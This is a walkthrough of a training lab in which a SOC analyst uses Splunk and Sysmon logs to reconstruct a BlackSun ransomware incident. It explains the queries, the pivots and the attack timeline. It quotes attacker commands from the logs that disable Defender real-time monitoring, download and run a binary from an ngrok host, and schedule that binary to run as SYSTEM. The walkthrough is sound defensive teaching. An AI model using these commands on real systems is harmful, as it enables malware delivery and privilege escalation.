Introduction

This room places us in the role of a SOC Analyst working for an MSSP named TryNotHackMe.

A customer reports that suspicious activity occurred on Keegan's Windows machine on May 16, 2022. The computer is still operational, but some files have unusual extensions, which suggests that ransomware may have been executed.

Our goal is not simply to guess the answers.

We will investigate the attack logically using Splunk and reconstruct what happened from Windows telemetry.

By the end of this write-up, you should understand:

• what Splunk is doing,
• what the logs represent,
• what Sysmon Event IDs mean,
• how to search logs,
• how to move from one clue to another,
• how to recognize malicious activity,
• how to reconstruct an attack timeline,
• and how SOC analysts think during an investigation.

1. Understanding What We Are Investigating

Before writing any Splunk query, understand the situation.

We know only three important facts:

1. The affected machine belongs to Keegan.
2. The suspicious activity occurred on May 16, 2022.
3. Some files now have strange extensions, suggesting possible ransomware activity.

We do not initially know:

• what malware was used,
• how it entered the machine,
• what downloaded it,
• whether privilege escalation occurred,
• what command-and-control server it contacted,
• what ransomware family was involved,
• or what files the attacker created.

The job of the analyst is therefore to reconstruct the sequence from logs.

2. What Is Splunk?

Splunk is a platform used to collect, search, correlate, and analyze logs.

A company may send Windows logs, firewall logs, authentication logs, antivirus logs, Sysmon logs, and many other data sources into Splunk.

Instead of manually reading thousands of logs, we use SPL, or Search Processing Language, to search them.

A very simple Splunk query looks like:

index=main

This means:

Search every event stored in the Splunk index named main.

An index can be thought of as a searchable container holding logs.

3. Important SPL Concepts

Before starting the challenge, understand a few commands.

Searching a Field

index=main EventCode=3

Means:

Search the main index and return only events where EventCode equals 3.

Searching for Text

index=main "OUTSTANDING_GUTTER.exe"

Means:

Return events containing the text OUTSTANDING_GUTTER.exe.

Wildcards

The * character means:

Match anything.

Example:

Image="*powershell.exe"

This can match:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

because the beginning of the path does not matter.

Displaying Important Fields

| table _time Image CommandLine User

table makes the results easier to read.

Instead of displaying the entire raw event, Splunk shows only:

• _time
• Image
• CommandLine
• User

Sorting by Time

| sort _time

This sorts events chronologically.

That is extremely useful during incident response because attacks occur as a sequence.

Counting Values

| stats count by Image

This groups events by process and counts how often each process appears.

4. Understanding Sysmon

The dataset in this room contains Microsoft Sysmon telemetry.

Sysmon stands for:

System Monitor

Sysmon records detailed Windows activity such as:

• process creation,
• network connections,
• file creation,
• registry modification,
• DNS queries,
• file deletion.

Different activity types are represented using different Event IDs.

For this investigation, the most important ones are:

Understanding these EventCodes is one of the most important skills in this room.

5. Set the Correct Time Range

The incident occurred on:

May 16, 2022

Set Splunk's time picker to approximately:

May 16, 2022 00:00:00
through
May 17, 2022 23:59:59

Using a wider range is safer when learning.

A common mistake is accidentally clicking a tiny area on Splunk's timeline. This can change the search window to only a few milliseconds.

If a valid query suddenly returns:

0 events

always check the time range before assuming the query is wrong.

6. First Look at the Dataset

Before hunting for malware, we can understand what kinds of logs exist.

index=main
| stats count by EventCode
| sort EventCode

This shows the different Sysmon EventCodes present in the dataset.

A SOC analyst often starts this way because it reveals what telemetry is available before performing deeper searches.

7. Question 1 — Identify the Suspicious Binary

Question

A suspicious binary was downloaded to the endpoint. What was the name of the binary?

We do not initially know the binary's name.

One useful approach is to examine network activity.

Sysmon:

EventCode 3 = Network Connection

Run:

index=main EventCode=3

There may be hundreds of results.

Instead of manually checking every event, group network connections by executable:

index=main EventCode=3
| stats count by Image
| sort - count

This asks:

Which executables created the most network connections?

A highly unusual process appears:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe

This is suspicious for several reasons:

• it is running from C:\Windows\Temp,
• its filename is unusual,
• and it is responsible for a very large amount of network traffic.

To examine it further:

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| table _time Image DestinationIp DestinationPort
| sort _time

Answer

OUTSTANDING_GUTTER.exe

8. Pivoting From One Clue to Another

We now know the malware filename.

This becomes our new search pivot.

Instead of searching everything, search specifically for:

OUTSTANDING_GUTTER.exe

Run:

index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time

This is an important SOC technique.

You discover one indicator, then use that indicator to locate related events.

This process is called pivoting.

9. Discovering the Encoded PowerShell Command

Among the events, we find process creation activity involving:

powershell.exe

and:

schtasks.exe

The PowerShell command contains:

-exec bypass -enc

Example structure:

powershell.exe -exec bypass -enc <LONG_STRING>

The important part is:

-enc

This means:

PowerShell is executing a Base64-encoded command.

Attackers frequently encode PowerShell commands to make them harder to read directly from logs.

10. Decoding PowerShell -EncodedCommand

Copy the long Base64 value following:

-enc

Open CyberChef.

Use:

From Base64

If the result looks like corrupted or strange text, do not immediately assume the Base64 is invalid.

Windows PowerShell normally encodes -EncodedCommand content using:

UTF-16LE

Therefore use:

From Base64
↓
Decode text
↓
UTF-16LE

The command becomes readable.

The decoded PowerShell contains activity similar to:

This single decoded command reveals a large portion of the attack.

11. Understanding the Decoded Attack Command

The first command is:

Set-MpPreference -DisableRealtimeMonitoring $true

This disables Microsoft Defender real-time monitoring.

That is highly suspicious.

The attacker is attempting to reduce the chance that the malware will be detected.

The next part is:

wget http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe -OutFile C:\Windows\Temp\OUTSTANDING_GUTTER.exe

This downloads the suspicious binary.

The remote server is:

886e-181-215-214-32.ngrok.io

and the malware is saved as:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe

12. Question 2 — Determine Where the Binary Was Downloaded From

The decoded PowerShell gives us:

http://886e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe

The question asks for the address, not the complete file path.

Therefore:

http://886e-181-215-214-32.ngrok.io

must be defanged.

13. What Does Defanging Mean?

Security analysts avoid making malicious URLs directly clickable.

A normal URL:

http://malicious.example.com

may be transformed into:

hxxp[://]malicious[.]example[.]com

This is called defanging.

CyberChef can perform this using:

Defang URL

The accepted answer is:

hxxp[://]886e-181-215-214-32[.]ngrok[.]io

Answer

hxxp[://]886e-181-215-214-32[.]ngrok[.]io

14. Question 3 — What Executable Downloaded the Malware?

The decoded command says:

wget ...

A beginner may think the answer is:

wget.exe

But that would be incorrect.

In Windows PowerShell, wget is commonly an alias for:

Invoke-WebRequest

The actual Windows executable running the command is PowerShell.

We can verify it from Splunk.

index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time

We see:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Another supporting event is the file creation event:

EventCode = 11
Image = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Answer

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

15. Question 4 — Configure the Malware to Run With Elevated Privileges

The decoded command also creates a Windows Scheduled Task.

To isolate scheduled task activity:

index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time

One event contains:

"C:\Windows\system32\schtasks.exe" /Create /TN OUTSTANDING_GUTTER.exe /TR C:\Windows\Temp\COUTSTANDING_GUTTER.exe /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU SYSTEM /f

Break the command down.

/Create

/Create

Creates a new Scheduled Task.

/TN

/TN OUTSTANDING_GUTTER.exe

Sets the task name.

/TR

/TR ...

Specifies what command/program the task should run.

/SC ONEVENT

/SC ONEVENT

Configures the task to trigger when a particular event occurs.

/EC Application

/EC Application

Monitors the Windows Application event log.

/MO *[System/EventID=777]

The task will trigger based on Windows Event ID 777.

/RU SYSTEM

/RU SYSTEM

This is the most important part.

It means:

Run the task using the Windows SYSTEM account.

/f

/f

Forces task creation.

The command therefore establishes elevated execution through Windows Task Scheduler.

16. Why SYSTEM Is Important

Windows contains a built-in account called:

NT AUTHORITY\SYSTEM

It has extremely high privileges.

It is commonly more privileged than a normal administrator account for local system operations.

Running malware as SYSTEM gives it significant control over the machine.

17. Question 5 — Confirm the Actual Privileges

Do not rely only on:

/RU SYSTEM

A good analyst verifies whether the malware actually executed as SYSTEM.

Search for process creation of the suspicious binary itself:

index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time

Splunk returns:

User:
NT AUTHORITY\SYSTEM

and:

Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe

Therefore the malware truly executed with SYSTEM privileges.

Now find the command that triggered the scheduled task:

index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time

We find:

"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe

The required answer format is:

User;CommandLine

Answer

NT AUTHORITY\SYSTEM;"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe

18. Understanding the Privilege Chain

The important distinction is:

DESKTOP-TBV8NEF\keegan

may execute the command that creates or triggers the task.

But the scheduled task itself is configured with:

/RU SYSTEM

Therefore the malware executes as:

NT AUTHORITY\SYSTEM

Attack chain:

Keegan's PowerShell
        ↓
schtasks /Create
        ↓
/RU SYSTEM
        ↓
Scheduled Task
        ↓
schtasks /Run
        ↓
OUTSTANDING_GUTTER.exe
        ↓
NT AUTHORITY\SYSTEM

19. Question 6 — Where Did the Malware Connect?

We already know the malicious binary generated many network connections.

Use:

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count

The malware connects to several IP addresses over:

DestinationPort = 443

Examples include:

3.17.7.232
3.14.182.203
3.134.39.220
3.134.125.175
3.22.30.40

However, DestinationHostname is empty.

This is where we must correlate another type of log.

20. DNS Queries and Sysmon EventCode 22

Sysmon:

EventCode 22 = DNS Query

DNS translates domain names into IP addresses.

Search:

index=main EventCode=22 "OUTSTANDING_GUTTER.exe"
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time

We find:

Image:
C:\Windows\Temp\OUTSTANDING_GUTTER.exe

with:

QueryName:
9030-181-215-214-32.ngrok.io

and several IP addresses in QueryResults.

This explains the different destination IPs from EventCode 3.

The malicious process repeatedly resolved the same domain, and the service returned different IP addresses.

This is an important example of correlation.

EventCode 3 told us:

Which IP addresses?

EventCode 22 told us:

Which domain name?

21. Question 6 Answer

Original domain:

http://9030-181-215-214-32.ngrok.io

Defanged:

hxxp[://]9030-181-215-214-32[.]ngrok[.]io

Answer

hxxp[://]9030-181-215-214-32[.]ngrok[.]io

22. Important Observation — Two Different Servers

Do not confuse these two domains.

Malware download server

886e-181-215-214-32.ngrok.io

Used to download:

OUTSTANDING_GUTTER.exe

Server contacted by the malware

9030-181-215-214-32.ngrok.io

This appears after the malware executes.

The attack therefore looks like:

PowerShell
   ↓
Download server
886e-181-215-214-32.ngrok.io
   ↓
OUTSTANDING_GUTTER.exe
   ↓
Execution
   ↓
Remote server
9030-181-215-214-32.ngrok.io

23. Question 7 — Identify the Downloaded PowerShell Script

The next clue says:

A PowerShell script was downloaded to the same location as the suspicious binary.

We already know that location:

C:\Windows\Temp\

Since we are looking for a created file, use:

EventCode 11 = File Creation

Search:

index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time

Several legitimate temporary files appear.

Examples include:

__PSScriptPolicyTest_*.ps1
__PSScriptPolicyTest_*.psm1

These are PowerShell-generated policy test files and should not automatically be treated as malware.

The interesting event is:

Image:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

and:

TargetFilename:
C:\Windows\Temp\script.ps1

We can narrow searches to .ps1:

index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time

Answer

script.ps1

24. Question 8 — Determine the Script's Real Malware Name

The filename:

script.ps1

is generic.

Attackers frequently rename malware.

We therefore need another identifying attribute.

Search:

index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time

An EventCode 23 event appears.

Remember:

EventCode 23 = File Delete Archived

The event contains cryptographic hashes for the file.

One of them is:

SHA256=E5429F2E44990B3D4E249C566FBF19741E671C0E40B809F87248D9EC9114BEF9

25. Why File Hashes Matter

A cryptographic hash acts like a digital fingerprint.

If two files have the same SHA-256 hash, they are effectively the same binary/file content for practical malware-identification purposes.

Security analysts can search hashes using threat intelligence services such as VirusTotal.

The SHA-256 identifies the PowerShell payload as:

BlackSun.ps1

Answer

BlackSun.ps1

26. Question 9 — Find the Ransom Note

Ransomware usually leaves instructions for the victim.

These files often contain words such as:

README
DECRYPT
RECOVER
RANSOM

and are frequently stored as .txt files.

Since the note was written to disk, use EventCode 11 again:

index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time

Only one highly suspicious result appears:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt

The filename itself strongly supports ransomware behavior:

BlackSun_README.txt

Answer

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt

27. Question 10 — Find the Ransomware Wallpaper

Many ransomware families modify the desktop wallpaper to tell the victim that their files were encrypted.

The question tells us an image was saved to disk.

We can search common image extensions:

index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time

Splunk returns:

TargetFilename:
C:\Users\Public\Pictures\blacksun.jpg

The process creating it is:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

and the user is:

NT AUTHORITY\SYSTEM

Answer

C:\Users\Public\Pictures\blacksun.jpg

28. Complete Attack Timeline

We can now reconstruct the attack chronologically.

Stage 1 — PowerShell Execution

A PowerShell process executes an encoded command:

powershell.exe -exec bypass -enc ...

Stage 2 — Command Decoding

The Base64 command is decoded using:

From Base64
↓
UTF-16LE

Stage 3 — Defender Is Weakened

The attacker runs:

Set-MpPreference -DisableRealtimeMonitoring $true

Microsoft Defender real-time monitoring is disabled.

Stage 4 — Malware Download

PowerShell downloads:

OUTSTANDING_GUTTER.exe

from:

886e-181-215-214-32.ngrok.io

and stores it at:

C:\Windows\Temp\OUTSTANDING_GUTTER.exe

Stage 5 — Scheduled Task Creation

The attacker uses:

schtasks.exe

to create a task associated with the malicious executable.

The critical option is:

/RU SYSTEM

Stage 6 — Elevated Execution

The task is started using:

"C:\Windows\system32\schtasks.exe" /Run /TN OUTSTANDING_GUTTER.exe

The malicious binary subsequently runs as:

NT AUTHORITY\SYSTEM

Stage 7 — Command-and-Control Communication

The malware resolves:

9030-181-215-214-32.ngrok.io

and connects to multiple IP addresses on:

TCP/443

Stage 8 — Additional PowerShell Payload

A new PowerShell script appears:

C:\Windows\Temp\script.ps1

Stage 9 — Malware Identification

The script's SHA-256 hash identifies it as:

BlackSun.ps1

Stage 10 — Ransomware Artifacts

A ransom note is created:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt

A ransomware wallpaper is also created:

C:\Users\Public\Pictures\blacksun.jpg

At this point, the evidence strongly confirms ransomware activity.

29. Final Investigation Chain

PowerShell
   │
   ├── -exec bypass
   │
   └── -enc Base64
          │
          ▼
Encoded command decoded
          │
          ▼
Microsoft Defender real-time monitoring disabled
          │
          ▼
OUTSTANDING_GUTTER.exe downloaded
          │
          ▼
C:\Windows\Temp\OUTSTANDING_GUTTER.exe
          │
          ▼
Scheduled Task created
          │
          ▼
/RU SYSTEM
          │
          ▼
Malware executes as
NT AUTHORITY\SYSTEM
          │
          ▼
DNS query
9030-181-215-214-32.ngrok.io
          │
          ▼
HTTPS network connections
          │
          ▼
script.ps1 created
          │
          ▼
SHA-256 reputation lookup
          │
          ▼
BlackSun.ps1
          │
          ▼
Ransomware activity
      ┌───┴────────────────────┐
      ▼                        ▼
BlackSun_README.txt      blacksun.jpg
Ransom note              Wallpaper

30. Final Answers

31. Core Splunk Queries From the Investigation

Discover available EventCodes

index=main
| stats count by EventCode
| sort EventCode

Identify executables making network connections

index=main EventCode=3
| stats count by Image
| sort - count

Investigate the suspicious executable

index=main "OUTSTANDING_GUTTER.exe"
| table _time EventCode Image ParentImage CommandLine ParentCommandLine DestinationIp DestinationHostname DestinationPort
| sort _time

Investigate PowerShell execution

index=main EventCode=1 Image="*powershell.exe"
| table _time Image CommandLine ParentImage ParentCommandLine
| sort _time

Investigate Scheduled Tasks

index=main EventCode=1 Image="*schtasks.exe" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time

Find Scheduled Task /Run

index=main EventCode=1 Image="*schtasks.exe" CommandLine="*/Run*" "OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine
| sort _time

Verify Malware Privileges

index=main EventCode=1 Image="*OUTSTANDING_GUTTER.exe"
| table _time User Image CommandLine ParentImage ParentCommandLine
| sort _time

Investigate Malware Network Connections

index=main EventCode=3 Image="*OUTSTANDING_GUTTER.exe"
| stats count by DestinationIp DestinationHostname DestinationPort
| sort - count

Investigate DNS Queries

index=main EventCode=22
| table _time Image ProcessId QueryName QueryStatus QueryResults
| sort _time

Find Files Created in Windows Temp

index=main EventCode=11 TargetFilename="C:\\Windows\\Temp\\*"
| table _time Image TargetFilename User
| sort _time

Find PowerShell Scripts

index=main EventCode=11 TargetFilename="*.ps1"
| table _time Image TargetFilename User
| sort _time

Find the Script Hash

index=main "script.ps1"
| table _time EventCode Image TargetFilename Hashes
| sort _time

Find Text Files

index=main EventCode=11 TargetFilename="*.txt"
| table _time Image TargetFilename User
| sort _time

Find Created Images

index=main EventCode=11
(TargetFilename="*.jpg" OR TargetFilename="*.jpeg" OR TargetFilename="*.png" OR TargetFilename="*.bmp")
| table _time Image TargetFilename User
| sort _time

32. The Most Important Lesson: Think in Pivots

The most important lesson from this room is not memorizing the answers.

It is learning how to move from one piece of evidence to another.

The investigation began with almost nothing:

Possible ransomware

We found:

Suspicious network process

which gave us:

OUTSTANDING_GUTTER.exe

That filename led us to:

PowerShell

PowerShell revealed:

Base64

Decoding Base64 revealed:

Download URL
Scheduled Task
SYSTEM privileges

The malware process then led us to:

Network connections

Network connections led us to:

DNS queries

File creation events revealed:

script.ps1

The script's hash revealed:

BlackSun.ps1

And additional file creation events revealed:

Ransom note
Wallpaper

That is how a SOC investigation should be approached.

Do not ask:

What query gives me the final answer?

Ask:

What do I currently know, and which log source can tell me what happened next?

33. A Beginner's SOC Investigation Mental Model

When investigating Windows incidents using Sysmon, remember this simple model:

What executed?
        ↓
EventCode 1

Where did it connect?
        ↓
EventCode 3

What domain did it resolve?
        ↓
EventCode 22

What files did it create?
        ↓
EventCode 11

What files were deleted?
        ↓
EventCode 23

Then correlate:

Process
   ↓
Parent process
   ↓
Command line
   ↓
Network
   ↓
DNS
   ↓
Files
   ↓
User
   ↓
Timeline

This method is far more valuable than memorizing individual Splunk commands.

34. Final Conclusion

The investigation confirms that Keegan's machine experienced ransomware-related malicious activity.

The attack used an encoded PowerShell command to disable Microsoft Defender real-time monitoring and download a suspicious executable named:

OUTSTANDING_GUTTER.exe

The attacker used Windows Task Scheduler to configure elevated execution under:

NT AUTHORITY\SYSTEM

The malware contacted an ngrok-hosted remote server and subsequently resulted in the creation of:

script.ps1

The script was identified as:

BlackSun.ps1

Further evidence included the ransom note:

C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt

and ransomware wallpaper:

C:\Users\Public\Pictures\blacksun.jpg

The overall evidence confirms malicious PowerShell execution, security-control impairment, malware delivery, elevated execution, remote communication, secondary payload delivery, and ransomware artifacts.

The key skill demonstrated by this room is log correlation: using one IOC or event to locate the next part of the attack until the complete incident timeline becomes clear.